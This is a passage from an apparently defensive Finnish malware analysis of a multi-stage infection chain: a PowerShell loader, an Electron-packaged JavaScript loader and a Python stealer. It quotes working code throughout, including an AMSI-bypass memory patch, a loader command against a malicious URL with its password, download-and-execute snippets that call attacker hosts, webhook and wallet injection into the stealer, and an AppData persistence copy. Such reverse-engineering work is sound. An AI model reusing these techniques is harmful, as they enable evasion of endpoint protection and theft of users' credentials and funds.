| Digitaalinen allekirjoitus: | Ei havaittu |
| VirusTotal-osuma: | 26 / 61 (analyysin hetkellä) |
| Uhkaluokitukset: | trojan, downloader, powershell, agentb |
Vaikka kyseessä on yksinkertainen .bat-tiedosto, skripti välttää monet staattiset havainnot ja nojaa vahvasti living-off-the-land-tekniikoihin, kuten PowerShelliin, obfuskoitujen ja salattujen payloadien lataamisessa ja suorittamisessa.
4.2 AMSI-ohitustekniikka (luokka: gofor4msi)
Yksi ensimmäisistä puolustusmekanismeista, jotka SharpLoader ohittaa, on AMSI — Anti-Malware Scan Interface — Microsoftin ominaisuus, joka on integroitu skriptimoottoreihin, kuten PowerShelliin ja Windows Script Hostiin, tarjoamaan reaaliaikaista sisällön skannausta epäilyttävän käyttäytymisen varalta. Haittaohjelmien tekijät yrittävät usein ohittaa AMSI:n välttääkseen päätelaitesuojauksen havaitsemisen.
SharpLoaderissa AMSI-ohitus on toteutettu suoralla muistinsisäisellä patchauksella amsi.dll-kirjaston AmsiScanBuffer-funktioon. Tämä funktio vastaa normaalisti skriptisisällön analysoinnista ja palauttaa tuloskoodin, joka kertoo, onko sisältö epäilyttävää (AMSI_RESULT_DETECTED) vai turvallista (AMSI_RESULT_CLEAN).
Asiaan liittyvä muistinsisäinen patchauskoodi on:
var lib = Win32.LoadLibrary("amsi.dll");
var addr = Win32.GetProcAddress(lib, "AmsiScanBuffer");
Win32.VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out oldProtect);
Marshal.Copy(patch, 0, addr, patch.Length);
Tämä sarja suorittaa seuraavat vaiheet:
- Lataa AMSI-DLL prosessiin komennolla
LoadLibrary("amsi.dll"). - Selvittää muistiosoitteen funktiolle
AmsiScanBufferkutsullaGetProcAddress(). - Muuttaa muistin suojauksen osoitteessa kutsulla
VirtualProtect()tehden siitä kirjoitettavan. - Ylikirjoittaa funktion alun kutsulla
Marshal.Copy()pienellä shellcode-patchilla.
64-bittisiin järjestelmiin sovellettava patch on:
static byte[] x64 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; // mov eax, 0x80070057; ret
Tämä vastaa seuraavia käskyjä:
mov eax, 0x80070057→ asettaa palautuskoodin Windowsin virhekoodiksiE_INVALIDARGret→ palaa välittömästi funktiosta
Tämä saa AmsiScanBufferin käytännössä epäonnistumaan hiljaisesti ja palauttamaan ei-havainto-tuloksen, mikä neutraloi AMSI-tarkistukset. Haittaohjelma voi nyt suorittaa skriptejä tai .NET-koodia, joka muuten laukaisisi virustorjuntahälytyksiä.
Jos suoritus tapahtuu 32-bittisessä järjestelmässä, sovelletaan eri patchia:
static byte[] x86 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 }; // mov eax, ...; ret 0x18
Tämä heijastaa samaa tavoitetta — "puhtaan" tuloksen pakottamista — mutta mukautettuna x86-kutsukonventioon.
Raakojen P/Invoke-kutsujen, kuten LoadLibrary, GetProcAddress ja VirtualProtect, käyttö mahdollistaa patchauksen dynaamisesti ja ilman korkean tason API-rajapintoja, joita EDR-työkalut saattaisivat valvoa. Menetelmä on tiivis, tehokas ja jättää minimaalisesti forensisia artefakteja.
Yhteenvetona tämä AMSI-ohitustekniikka on matalan tason, suora muistihyökkäys virustorjuntarajapintaan, joka toteutetaan millisekunneissa ajon aikana. Se on voimallinen esimerkki siitä, miksi käyttäytymisen valvonta ja muistin tarkastelu ovat välttämättömiä nykyaikaisissa päätelaitesuojauksissa.
4.3 Toisen vaiheen payloadin käsittely
Kun AMSI-ohitus on valmis, loader siirtyy hakemaan ja valmistelemaan toisen vaiheen payloadia. Tätä payloadia ei ole upotettu loaderiin itseensä, vaan se haetaan joko etäpalvelimelta tai luetaan levyltä — riippuen siitä, miten loaderia kutsutaan $location-parametrin kautta.
Jos sijainti alkaa merkkijonolla http, se tulkitaan URL-osoitteeksi ja loader lataa payloadin funktiolla Get_Stage2() käyttäen HttpWebRequest-luokkaa. Jos kyseessä on paikallinen polku, Get_Stage2disk() lukee sisällön suoraan tiedostojärjestelmästä. Kummassakin tapauksessa odotettu tiedostosisältö on Base64-koodattu, GZip-pakattu ja AES-salattu möykky.
Loader suorittaa sen jälkeen nelivaiheisen dekoodaus- ja salauksenpurkuputken kokonaan muistissa:
- Base64-dekoodaus: Muuntaa koodatun merkkijonon raakatavuiksi. Tämän vaiheen tarkoitus on hämärtää varsinainen binäärisisältö staattisilta tarkastustyökaluilta ja estää suoraviivainen kuvioiden tunnistus.
- GZip-purku: Dekoodatut tavut syötetään
GZipStream-luokalle, joka purkaa payloadin. Pakkaus pienentää tiedostokokoa ja lisää uuden obfuskointikerroksen. - AES-salauksen purku: Pakatut tavut puretaan AES-algoritmilla (Rijndael) CBC-tilassa. Avain johdetaan ajon aikana käyttäjän antamasta salasanasta SHA-256-tiivisteellä yhdistettynä PBKDF2:een (
Rfc2898DeriveBytes) ja staattiseen suolaan. - Suolan poisto: Purettu tulos sisältää edelleen kiinteän pituisen suolaetuliitteen (4 tavua). Nämä tavut poistetaan käsin, jotta saadaan puhdas binäärimöykky, joka edustaa kelvollista .NET-assemblya.
Salauksenpurkuputki suoritetaan näin:
byte[] passwordBytes = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes(password));
byte[] bytesDecrypted = AES_Decrypt(decompressed, passwordBytes);
Tässä AES_Decrypt() on räätälöity funktio, joka kapseloi Rijndael-algoritmin ja on konfiguroitu 256-bittisellä avaimella ja 128-bittisellä IV:llä (alustusvektorilla), jotka kummatkin johdetaan salasanasta.
Keskeisiä suunnitteluhavaintoja:
- AES-CBC:n käyttö PBKDF2:n kanssa tekee salasanan raa'an voiman murtamisesta ei-triviaalia.
- Koska salauksen purku tapahtuu muistissa, välituloksia ei kirjoiteta koskaan levylle — mikä vähentää forensisia artefakteja.
- Jos annetaan väärä salasana, salauksen purku epäonnistuu hiljaisesti tai tuottaa virheellistä dataa, mikä voi johtaa epäonnistuneeseen suoritukseen tai vaikeasti jäljitettäviin poikkeuksiin.
Yhteenvetona tämä monivaiheinen payloadin käsittelytapa nostaa merkittävästi kynnystä sekä signatuuri- että heuristiikkapohjaiselle staattiselle havaitsemiselle. Ilman elävää suoritusta tai loaderin käyttäytymisen syvällistä tarkastelua puolustajat eivät todennäköisesti paljasta upotettua payloadia, ellei heillä ole myös salasanaa ja tarkkaa dekoodauslogiikkaa.
4.4 Dynaaminen assemblyn lataus
Kun toisen vaiheen payloadin salaus on purettu onnistuneesti, syntynyt tavutaulukko edustaa kelvollista .NET-assemblya. Sen sijaan että tämä assembly kirjoitettaisiin levylle — mikä on yleinen indikaattori virustorjunta- tai EDR-järjestelmille — SharpLoader suorittaa sen suoraan muistissa reflektion avulla:
Assembly a = Assembly.Load(bin);
a.EntryPoint.Invoke(null, new object[] { commands });
Tätä tekniikkaa kutsutaan tiedostottomaksi suoritukseksi. Se on erittäin väistelevä, koska se:
- Välttää levyn koskettamisen eikä jätä tiedostopohjaisia IOC-indikaattoreita (kompromissi-indikaattoreita)
- Vaikeuttaa perinteistä forensista talteenottoa, koska levylle ei tallenneta binääriä
- Väistää staattisen signatuuripohjaisen havaitsemisen, koska virustorjuntamoottorit nojaavat usein tiedostojen skannaamiseen
Jos EntryPoint ei ole static, loader sisältää varalogiikan:
MethodInfo method = a.EntryPoint;
if (method != null)
{
object o = a.CreateInstance(method.Name);
method.Invoke(o, null);
}
Tämä varmistaa yhteensopivuuden assemblyjen kanssa, jotka vaativat suoritukseen instantioidun olion (esim. public int Main() luokan instanssin sisällä). Koodi luo dynaamisesti luokan instanssin ja kutsuu sitten sisääntulopisteen metodia.
Yhdistettynä AMSI-ohitukseen ja muistinsisäiseen salauksen purkuun tämä mekanismi toimittaa lopullisen payloadin suoritukseen huomaamattomasti ja täysin tiedostottomasti — nykyaikaisen, välttelevän haittaohjelman tunnusmerkki.
4.5 Komentoriviparametrit ja joustavuus
PowerShell-funktio Invoke-SharpLoader on suunniteltu toimimaan joustavana kääreenä mielivaltaisille .NET-payloadeille. Se tukee sekä payloadin sijainnin että argumenttien dynaamista syöttöä, jolloin yhtä loader-instanssia voidaan käyttää uudelleen useissa operaatioissa tai kampanjoissa.
Tuetut parametrit:
-location(pakollinen): Määrittää joko URL-osoitteen tai paikallisen tiedostopolun toisen vaiheen salattuun payloadiin.-password(pakollinen): Käytetään AES-salauksenpurkuavaimen johtamiseen.-argument,-argument2,-argument3(valinnaisia): Nämä välitetään suoraan.NET-assemblynMain()-metodille reflektion kautta.-noArgs: Käynnistää suorituksen välittämättä toisen vaiheen payloadille parametreja.
Sisäisesti argumentit kerätään ja välitetään näin:
object[] cmd = args.Skip(2).ToArray();
a.EntryPoint.Invoke(null, new object[] { cmd });
Tämä tarkoittaa, että .NET-payloadilta odotetaan seuraavanlaista allekirjoitusta:
static void Main(string[] args)
tai se palautuu hallitusti parametrittomaan Main()-varianttiin varalogiikan kautta. Tämä käyttäytyminen antaa red teameille tai haittaohjelmien tekijöille mahdollisuuden luoda monikäyttöisiä toisia vaiheita, jotka voivat suorittaa eri toimintoja syötteen mukaan — esimerkiksi käynnistää implantin, kerätä järjestelmätietoja tai käynnistää C2-viestinnän.
Tällainen modulaarisuus ja konfiguroitavuus ovat kehittyneiden haittaohjelmakehysten keskeisiä ominaisuuksia, ja ne havainnollistavat, miten skriptipohjaiset loaderit voivat toimia erittäin mukautuvina suoritusympäristöinä alavirran payloadeille.
4.6 Käyttöesimerkki käytännöstä
Havainnollistaakseni SharpLoaderin todellista suoritusta aidossa kampanjassa, tarkastellaan seuraavaa luonnossa havaittua kutsua:
Invoke-SharpLoader -location "https://cosmoplwnets.xyz/.well-known/pki-validation/calc.enc" -password UwUFufu1 -noArgs
Tämä esimerkki tuo esiin SharpLoaderin tyypillisen käyttötapauksen:
- Sijaintiargumentti: URL osoittaa etäpalvelimelle, joka ylläpitää tiedostoa
calc.enc, kätkettyä toisen vaiheen payloadia. Päätepiste sijaitsee laillisen näköisen.well-known-hakemiston alla, jota käytetään usein HTTPS-sertifikaattien validointiin, mikä auttaa sulauttamaan URL-osoitteen lailliseen verkkoliikenteeseen. - Payloadin ominaisuudet:
calc.encon kolminkertaisesti obfuskoitu tiedosto — Base64-koodattu, GZip-pakattu ja AES-salattu. Tämä obfuskointiputki varmistaa, että payload on läpinäkymätön useimmille havaitsemismekanismeille, ellei se suoriteta ja pureta täysin muistissa. - Salasana-argumentti: Merkkijonoa
UwUFufu1käytetään ajon aikana AES-avaimen johtamiseen SHA-256:n ja PBKDF2:n avulla. Ilman tätä salasanaa payloadia ei voi purkaa, mikä tekee offline-analyysistä ilman kontekstia lähes mahdottomaksi. - Ei lisäargumentteja: Kytkin
-noArgsosoittaa, ettei puretulle .NET-assemblylle välitetä komentoriviparametreja, mikä käynnistää sen oletussuorituspolun.
Tämä huomaamaton kutsuketju kapseloi SharpLoaderin ydintarkoituksen: tiedostoton, mukautuva ja turvattu payloadin toimitus yksinkertaisella PowerShell-syntaksilla, maksimaalisella obfuskoinnilla ja väistelyllä.
4.7 Yhteenveto
Invoke-SharpLoader-rakennelma on esimerkki erittäin hienostuneesta ja välttelevästä haittaohjelman vaiheistustekniikasta, joka hyödyntää järjestelmän omia komponentteja, reflektiota ja kryptografiaa toimien lähes kokonaan muistissa.
Keskeiset kohokohdat:
- AMSI:n ohittaminen:
AmsiScanBufferinsuora muistinsisäinen patchaus kytkee virustorjuntatarkastuksen pois ilman havaittavia API-kutsuja. - Turvattu payloadin käsittely: Salattujen ja pakattujen toisen vaiheen payloadien hakeminen varmistaa luottamuksellisuuden ja lisää useita väistelykerroksia.
- Pelkästään muistissa tapahtuva suoritus: Purettuja payloadeja ei koskaan kirjoiteta levylle, mikä tekee havaitsemisesta perinteisillä tiedostopohjaisilla skannereilla lähes mahdottomaksi.
- Modulaarinen ja uudelleenkäytettävä arkkitehtuuri: PowerShell-parametrien kautta SharpLoaderia voidaan käyttää joustavasti uudelleen eri kampanjoissa vaihtelevilla payloadeilla ja ajonaikaisilla käyttäytymisillä.
5. Deep Dive: main.exe – Electron-pohjainen haittaohjelman loader
Reverse engineeringin aikana kävi selväksi, että Microsoft Defender for Endpointin merkitsemä main.exe ei ollut tavanomainen binääri vaan Electron-pohjainen haittaohjelman loader. Se toimitettiin arkistossa nimeltä app-64.7z, jonka Updater.exe latasi ja purki ajon aikana. Purettuna sen rakenne ja sisältö muistuttivat vahvasti tyypillistä Electron-sovellusta.
5.1 Electron-rakenteen tunnistaminen
Purettu kansio sisälsi muun muassa seuraavat tiedostot:
chrome_100_percent.pak,v8_context_snapshot.bin,d3dcompiler_47.dllLICENSES.chromiumjaLICENSES.electron- Suuri
main.exe-binääri (~150 MB) resources-kansio, joka sisältääapp.asar-arkiston ja toisen binäärinelevate.exe

Nämä kaikki ovat vahvoja merkkejä Electron-sovelluksesta, joka käyttää Chromiumia ja Node.js:ää JavaScript-pohjaisten työpöytäsovellusten paketointiin. elevate.exe:n läsnäolo, allekirjoitettu Microsoft-binääri, jota käytetään usein oikeuksien korottamiseen, herätti lisää epäilyksiä—sitä voitaisiin väärinkäyttää lapsiprosessien käynnistämiseen korotetuin oikeuksin.
5.2 Purkaminen ja staattinen analyysi (syväsukellus)
Sen sijaan että olisin suorittanut main.exe:n, valitsin staattisen analyysin lähestymistavan välttääkseni minkäänlaisen elävän käyttäytymisen laukaisemisen. Alkuperäinen epäilyni siitä, että main.exe oli rakennettu Electronilla, vahvistui, kun löysin app.asar-tiedoston resources-hakemistosta. Electron-sovelluksissa tämä arkisto sisältää kaiken sovelluksen ydinlogiikan, kuten JavaScript-tiedostot, konfiguraation (package.json) ja resurssit, pakattuna räätälöityyn muotoon suorituskyvyn ja obfuskoinnin vuoksi.
.asar-arkisto on käytännössä vain luettava, suorituskykyinen säiliö, joka muistuttaa .zip-muotoa mutta on optimoitu Electronin ajoympäristölle. Vaikka sitä ei ole salattu, se hämärtää pääsyä koodiin ja tekee staattisesta analyysistä vaikeampaa, ellei sitä pureta.
Purkamiseen käytin virallista asar-työkalua, joka on saatavilla npm:n kautta. Vaiheet olivat:
npm install -g asar
asar extract app.asar extracted_app
Yllä olevien komentojen suorittaminen purki sisällön työkansioon (extracted_app/), mikä paljasti varsinaisen JavaScript-sovelluskoodin. Tähän kuului:
jscryter.js,input.js,obf.js: Nämä skriptit muodostavat haittaohjelman logiikan.jscryter.jsnäyttää orkestroivan payloadin toimitusta,input.jsmäärittelee konfiguraatiovakioita tai komentologiikkaa, jaobf.json raskaasti obfuskoitu skripti, joka todennäköisesti sisältää ydinpayloadin logiikan.package.json,package-lock.json: Määrittelevät ajoympäristönnode_modules/: Sisältää kaikki riippuvuudet, kutenaxios,adm-zip,child_process
Puretun sisällön avulla haittaohjelman logiikkaan saatiin täysi näkyvyys ilman suoritusta, mikä oli olennaista turvallisen reverse engineeringin kannalta. Tämä vaihe vahvisti, että main.exe toimi puhtaasti ajonaikaisena kääreenä app.asar-arkistoon kätketyille haitallisille skripteille.
5.3. Mitä staattinen analyysi paljasti
Koodia manuaalisesti tarkastelemalla vahvistin, että haittaohjelman logiikka oli täysin JavaScript-pohjaista ja suoritettiin Electronin ajoympäristössä. Skriptit oli suunniteltu tekemään seuraavaa:
- Ladata salattu payload (
pyth.zip) vara-URL-osoitteista - Purkaa arkisto
adm-zip-kirjastolla - Tehdä merkkijonokorvauksia tiettyjen tunnistetietojen tai lompakko-osoitteiden injektoimiseksi
- Käynnistää syntynyt Python-tiedosto (
astor.py) kutsullachild_process.exec()japython.exe:llä
Ratkaisevaa on, että loader sisälsi myös logiikan, joka kopioi Updater.exe:n käyttäjän AppData-hakemistoon, jos sitä ei ollut siellä jo—mikä vahvisti persistenceä ja ylläpiti tartuntasilmukkaa.
6. Deep Dive: input.js – salattu JavaScript-payloadin loader
input.js on kriittinen komponentti analysoidussa haittaohjelmaketjussa, ja se toimii salatun JavaScript-payloadin salauksenpurku- ja suorituskeskuksena. Tämä skripti piilottaa ydintoiminnallisuutensa vahvan salauskerroksen taakse ja paljastaa käyttäytymisensä vasta ajon aikana.
6.1 Salauksen ja salauksenpurun mekaniikka
Ensi silmäyksellä input.js sisältää hyvin vähän luettavaa koodia. Sen ensisijainen tarkoitus on kuitenkin purkaa ja suorittaa suuri obfuskoitu JavaScript-möykky, joka on tallennettu skriptin sisälle.
6.1.1 Salauksenpurkulogiikka
Skripti määrittelee decrypt()-funktion, joka ottaa vastaan neljä parametria:
encdata: Salattu Base64-koodattu datamasterkey: Selkokielinen salalausesalt: Kryptografinen suola (Base64)iv: AES-salauksenpurun alustusvektori (Base64)
Salauksenpurkuprosessi on toteutettu Node.js:n sisäänrakennetulla crypto-moduulilla. Se etenee seuraavasti:
- Avaimen johtaminen:
Skripti johtaa 256-bittisen symmetrisen avaimen PBKDF2:lla (Password-Based Key Derivation Function 2):
const key = crypto.pbkdf2Sync( masterkey, Buffer.from(salt, "base64"), 100000, 32, "sha512", );- Tiivistefunktio: SHA-512
- Iteraatiot: 100 000
- Avaimen pituus: 32 tavua (256 bittiä)
- Suola: Annetaan Base64-dekoodattuna syötteenä
- AES-256-CBC-salauksen purku:
Johdettua avainta käytetään sen jälkeen AES-purkuolion luomiseen:
const decipher = crypto.createDecipheriv( "aes-256-cbc", key, Buffer.from(iv, "base64"), );
Salattu payload puretaan tavanomaisessa CBC-tilassa (Cipher Block Chaining):let decrypted = decipher.update(encdata, "base64", "utf8"); decrypted += decipher.final("utf8"); - Dynaaminen suoritus:
Purettua JavaScript-koodia ei koskaan kirjoiteta levylle. Sen sijaan se suoritetaan dynaamisesti muistissa
Function-konstruktorilla:new Function("require", decrypted)(require);
Tämä tekniikka mahdollistaa tiedostottoman suorituksen ja vähentää havaitsemisen todennäköisyyttä perinteisissä virustorjuntamoottoreissa, jotka nojaavat levyn skannaamiseen.
Tämä lähestymistapa osoittaa kerroksellista puolustusta reverse engineeringiä vastaan yhdistämällä avaimen johtamisen, vahvan salauksen ja dynaamisen muistinsisäisen suorituksen.
Avainmateriaali ja salattu data
Skripti sisältää seuraavat kovakoodatut syötteet:
- Salattu data: Valtava Base64-koodattu möykky
- Pääavain:
9uNXNGt8/7kN7ZiEvy1OdYNpbcnzkERs - Suola:
maXtklzMEZRY9dbul/XPSw==(Base64-koodattu) - IV:
HwK6sOz7FBbL+YsrOxtYUg==(Base64-koodattu)
Nämä kaikki on upotettu suoraan input.js:n lähdekoodiin.
6.2 Payloadin käyttäytyminen salauksen purun jälkeen
Kun salaus on purettu, upotetusta payloadista tulee täysimittainen JavaScript-ohjelma, joka suorittaa seuraavat haitalliset toimet:
6.2.1 Ympäristön valmistelu
Purettu payload aloittaa pystyttämällä suoritusympäristönsä Node.js:n sisäänrakennetuilla moduuleilla. Tämä valmisteluvaihe varmistaa, että kaikki tarvittavat polut ja työhakemistot on selkeästi määritelty ennen kuin haitallista toimintaa tapahtuu.
- Väliaikaishakemiston selvittäminen:
Haittaohjelma kutsuu
os.tmpdir()-funktiota selvittääkseen polun järjestelmän nykyiseen väliaikaishakemistoon. Tämä on yleinen taktiikka haittaohjelmille, sillä väliaikaiskansiot ovat tyypillisesti kirjoitettavia ja päätelaitesuojaukset tarkkailevat niitä vähemmän.const tempDir = os.tmpdir(); - Polkujen rakentaminen:
Skripti rakentaa sen jälkeen absoluuttiset polut kahdelle tärkeälle tiedostolle:
pyth.zip: Arkisto, joka sisältää varsinaisen toisen vaiheen Python-pohjaisen stealerinbnd.exe: Valinnainen suoritettava tiedosto, joka voi toimia persistence-takaovena tai lisäpayloadina
const tempFile = path.join(tempDir, "pyth.zip"); const binderFile = path.join(tempDir, "bnd.exe");
Tämä polkujen pystytys abstrahoi käyttöjärjestelmäkohtaisen polkusyntaksin ja antaa haittaohjelman toimia saumattomasti missä tahansa Windows-järjestelmässä. Se luo myös pohjan seuraaville tiedoston lataus- ja purkumekanismeille.
6.2.2 Payloadin lataus varastrategian kanssa
Puretun JavaScript-payloadin toinen päävaihe käsittää haitallisen ZIP-arkiston lataamisen etälähteistä. Tämä mekanismi on suunniteltu monitasoisella varastrategialla kestävyyden ja saatavuuden parantamiseksi.
- Ensisijaisen linkin selvitys Rentry.co:n kautta
Skripti aloittaa selvittämällä dynaamisen URL-osoitteen tekstin jakopalvelusta. Se lähettää GET-pyynnön osoitteeseen:
const url = "https://rentry.co/7vzd22fg36hfdd33/raw";
Tämä palauttaa selkokielisen URL-merkkijonon, joka osoittaapyth.zip-arkiston todelliseen sijaintiin. Tällaisen uudelleenohjausmekanismin käyttö on yleinen obfuskointitekniikka—se abstrahoi todellisen haitallisen URL-osoitteen ja vaikeuttaa staattista havaitsemista. - Latauksen suoritus
Selvitettyä URL-osoitetta pyydetään sen jälkeen Axios-kirjastolla vastausvirtana:
const fileResponse = await axios.get(fileUrl, { responseType: "stream" });
Tiedosto kirjoitetaan levylle nimelläpyth.zipjärjestelmän väliaikaishakemistoon:const writer = fs.createWriteStream(tempFile); fileResponse.data.pipe(writer);
Tämä lataus on käärittyPromise-olioon, jotta se saadaan varmasti valmiiksi ennen kuin jatkologiikkaa suoritetaan. - Vara-URL-osoitteet
Jos Rentry-pohjainen linkki epäonnistuu, skripti yrittää kovakoodattuja varasijainteja:
https://cosmicdust.zip/.well-known/pki-validation/pyth.zip https://cosmoplanets.net/well-known/pki-validation/pyth.zip
Nämä verkkotunnukset on rakennettu näyttämään osilta tavanomaisia TLS-validointikansioita, mahdollisesti matkien Let's Encryptin tai verkkotunnusvalidoinnin polkuja epäilyjen vähentämiseksi. Jokainen varasijainti yritetään uudelleen samalla virtaus- ja tiedostonkirjoituslogiikalla. - Kestävyys ja obfuskointi
Tämä varamekanismi varmistaa, että haittaohjelmalla on useita hakupolkuja toisen vaiheen payloadilleen. Dynaamisen osoittimen (
rentry.co) ja useiden varapeilien käyttö tekee haittaohjelmasta kestävämmän alasajoja, estoja ja DNS-sinkholeja vastaan.
Tämä vaihe osoittaa haittaohjelman tekijöiden huolellista operatiivista suunnittelua, jossa hyödynnetään kerroksellista redundanssia ja hyvin naamioitua toimitusinfrastruktuuria.
- Lataa
pyth.zip:n selvitetystä URL-osoitteesta - Jos se epäonnistuu, se yrittää varapeilejä:
https://cosmicdust.zip/.well-known/pki-validation/pyth.ziphttps://cosmoplanets.net/well-known/pki-validation/pyth.zip
6.2.3 Payloadin purkaminen ja manipulointi
Kun pyth.zip-arkisto on ladattu ja tallennettu levylle onnistuneesti, haittaohjelma purkaa sen sisällön ja valmistelee sen suoritusta varten. Tämä tehdään adm-zip-Node.js-kirjastolla, joka mahdollistaa ZIP-tiedostojen ohjelmallisen käsittelyn.
- ZIP-purku:
const zip = new AdmZip(tempFile); zip.extractAllTo(tempDir, true);
Tämä purkaa arkiston koko sisällön järjestelmän väliaikaishakemistoon.true-lippu varmistaa olemassa olevien tiedostojen ylikirjoittamisen. - Arkiston sisältö:
Arkisto
pyth.zipsisältää täysin niputetun Python-projektin, johon kuuluu:- Hakemistorakenne, joka muistuttaa laillista Python-pakettia
- Useita Python-moduuleja ja riippuvuuksia
- Avaintiedosto
astor.pysijainnissaCrypto/Util/astor.py, joka on varsinainen stealer-payload
- Paikanvarausmerkkien korvaus:
Haittaohjelma korvaa dynaamisesti ennalta määritellyt paikanvarausmerkit
astor.py:n sisällä injektoidakseen hyökkääjän hallitsemaa konfiguraatiodataa, kuten:- Discord-webhookin URL-osoitteen
- Kryptovaluuttaosoitteita (BTC, ETH, DOGE, LTC, XMR jne.)
- Käyttäjätunnisteen (
%USERID%) - Virhetilalipun (
%ERRORSTATUS%)
fs.readFile(extractedDir + "\Crypto\Util\astor.py", 'utf8', (err, data) => { let updatedFile = data .replace("%DISCORD%", <webhook>) .replace("%ADDRESSBTC%", <btc_address>) ... .replace("%ERRORSTATUS%", displayError ? "true" : "false"); fs.writeFile(extractedDir + "\Crypto\Util\astor.py", updatedFile, 'utf8'); });
Tämä dynaaminen manipulointivaihe on olennainen. Viivyttämällä hyökkääjän hallitsemien arvojen lisäämistä ajon hetkeen payload välttää staattisen havaitsemisen ja antaa operaattorin mukauttaa kohteita ja exfiltraation päätepisteitä paketoimatta arkistoa uudelleen.
- Korvaa
astor.py:n paikanvarausmerkkijonot:- Discord-webhook:
%DISCORD% - Lompakko-osoitteet:
%ADDRESSBTC%,%ADDRESSETH%jne. - Käyttäjätunnus ja virheliput
- Discord-webhook:
6.2.4 Haittaohjelman suoritus
- Kun paikanvarausmerkkien injektointi astor.py:hyn on valmis, haittaohjelma käynnistää stealerin suorituksen järjestelmäkutsulla
exec("python.exe Crypto\\Util\\astor.py");
Tämä komento suoritetaan Node.js:n child_process.exec-funktiolla, ja se käynnistää upotetun Python-payloadin erillisessä prosessissa. Tämä nimenomainen suorituskuvio—python.exe argumentilla Crypto\Util\astor.py—havaittiin Microsoft Defender for Endpointin keräämässä telemetriadatassa, mikä tekee siitä luotettavan havaintoartefaktin. Käytännössä suoritusketju näyttää tältä:
Koko haittaohjelman suoritusketju, sellaisena kuin se havaittiin Microsoft Defender for Endpointin telemetriassa, etenee tässä järjestyksessä:
main.exe(Electron-pohjainen säiliö) kutsuunode.exe:änode.exekäynnistääcmd.exe:ncmd.exekäynnistääpython.exe:npython.exesuorittaa tiedostonCrypto\Util\astor.py
6.2.5 Persistencen vahvistaminen
Varmistaakseen pitkäaikaisen läsnäolon saastuneessa järjestelmässä purettu JavaScript-payload sisältää logiikan, joka palauttaa persistencen kopioimalla ensimmäisen binäärin (Updater.exe) piilotettuun sijaintiin käyttäjän profiilissa.
Kohdehakemisto
Tiedosto kopioidaan hakemistoon, joka matkii laillisia Windows-komponentteja:
%APPDATA%\Microsoft\Internet Explorer\UserData\Updater.exe
Tämä sijainti on valittu tarkoituksella:
- %APPDATA% on tavallisten käyttäjien kirjoitettavissa eikä vaadi järjestelmänvalvojan oikeuksia.
- Hakemiston nimi matkii laillisia Microsoft-sovelluskansioita, mikä tekee siitä vähemmän epäilyttävän.
Kopiointimekanismi:
Kopiointi käyttää Node.js:n fs.copyFileSync()-funktiota:
fs.copyFileSync(
process.env.PORTABLE_EXECUTABLE_FILE,
path.join(
process.env.APPDATA,
"Microsoft",
"Internet Explorer",
"UserData",
"Updater.exe",
),
);
- PORTABLE_EXECUTABLE_FILE on ympäristömuuttuja, jonka monet paketoijat (kuten Electron) asettavat automaattisesti viittaamaan suoritettavan binäärin polkuun.
- path.join(...) rakentaa täysin määritellyn kohdepolun eri käyttöjärjestelmissä.
Tämä logiikka suoritetaan vain, jos tiedostoa ei ole jo olemassa—se toimii siis itsekorjausmekanismina, joka palauttaa dropperin, jos se poistetaan.
Rooli haittaohjelmaketjussa Tämän kopioidun Updater.exe:n läsnäolo varmistaa, että:
- Loader voi käynnistää itsensä uudelleen järjestelmän uudelleenkäynnistysten yli.
- Koko tartuntaketju (joka johtaa main.exe:hen, node.exe:hen ja lopulta astor.py:hyn) voi käynnistyä uudelleen ilman perinteisiä rekisteripohjaisia persistence-mekanismeja, joita todennäköisemmin valvotaan.
6.2.6 Valinnainen binderin suoritus
Pääpayloadin (astor.py) lataamisen ja suorittamisen lisäksi purettu JavaScript sisältää myös logiikan, jolla voidaan valinnaisesti ladata ja käynnistää toinen suoritettava tiedosto, jota kutsutaan "binderiksi". Tätä komponenttia voidaan käyttää persistenceen, harhautukseen tai lisähaittaohjelmamoduulien toimittamiseen.
Ehdollinen suoritus
Binder-logiikka aktivoituu vain, jos tietty lippu on asetettu:
enableBinder = true;
Analysoidussa näytteessä tämä arvo oli oletuksena false, mutta logiikka on edelleen upotettuna payloadiin ja se voidaan triviaalisti ottaa käyttöön toisessa kampanjassa tai variantissa.
Binderin latauslogiikka
Jos toiminto aktivoidaan, skripti yrittää hakea ulkoisen binäärin URL-osoitteesta, joka on määritelty paikanvarausmerkillä %BINDERURL%:
const fileUrl = "%BINDERURL%";
const fileResponse = await axios.get(fileUrl, { responseType: "stream" });
const writer = fs.createWriteStream(binderFile);
fileResponse.data.pipe(writer);
- Tiedosto
bnd.exetallennetaan järjestelmän väliaikaishakemistoon. - Kuten
pyth.zip, binääri ladataan Axiosilla virtaamalla, jotta koko binääriä ei tarvitse ladata muistiin.
Suoritusstrategia
Onnistuneen latauksen jälkeen skripti kutsuu ladattua binääriä cmd.exe:n kautta varmistaen, että se suoritetaan uudessa komentotulkkikontekstissa:
exec(`start cmd /c start ${binderFile}`, ...);
Luotettavuuden parantamiseksi skripti sisältää uudelleenyrityslogiikan:
setTimeout(() => {
exec(...);
}, 5000);
Tämä varmistaa, että vaikka ensimmäinen suoritus epäonnistuisi (esim. järjestelmän kuormituksen tai kilpailutilanteiden vuoksi), haittaohjelma yrittää käynnistää binäärin uudelleen lyhyen viiveen jälkeen.
Binderin käyttötapaukset
Vaikka binder-binäärin tarkkaa tarkoitusta ei tässä näytteessä paljasteta (paikanvarausmerkillä olevan URL-osoitteen vuoksi), tällaisia komponentteja käytetään yleisesti seuraaviin:
- Ensisijaisten haittaohjelmakomponenttien uudelleenasennus tai uudelleenkäynnistys
- Väärennettyjen asennusohjelmien tai harhautussovellusten näyttäminen
- Lisävakoiluohjelmien, takaovien tai kiristyshaittaohjelmien toimittaminen
- Järjestelmäasetusten muokkaaminen tai tietoturvaominaisuuksien poistaminen käytöstä
6.3 Yhteenveto
input.js on erittäin obfuskoitu, salattu JavaScript-loader, joka käyttää alan standardikryptografiaa (PBKDF2 + AES-256-CBC) suojatakseen todellisen tarkoituksensa. Salauksen purun jälkeen se toimii täysin toimintakykyisenä toisen vaiheen loaderina, joka:
- Hakee lisää haittaohjelmia (
pyth.zip) - Muokkaa payloadin käyttäytymistä dynaamisesti
- Käynnistää varsinaisen stealer-skriptin (
astor.py) - Vahvistaa persistenceä palauttamalla
Updater.exe:n
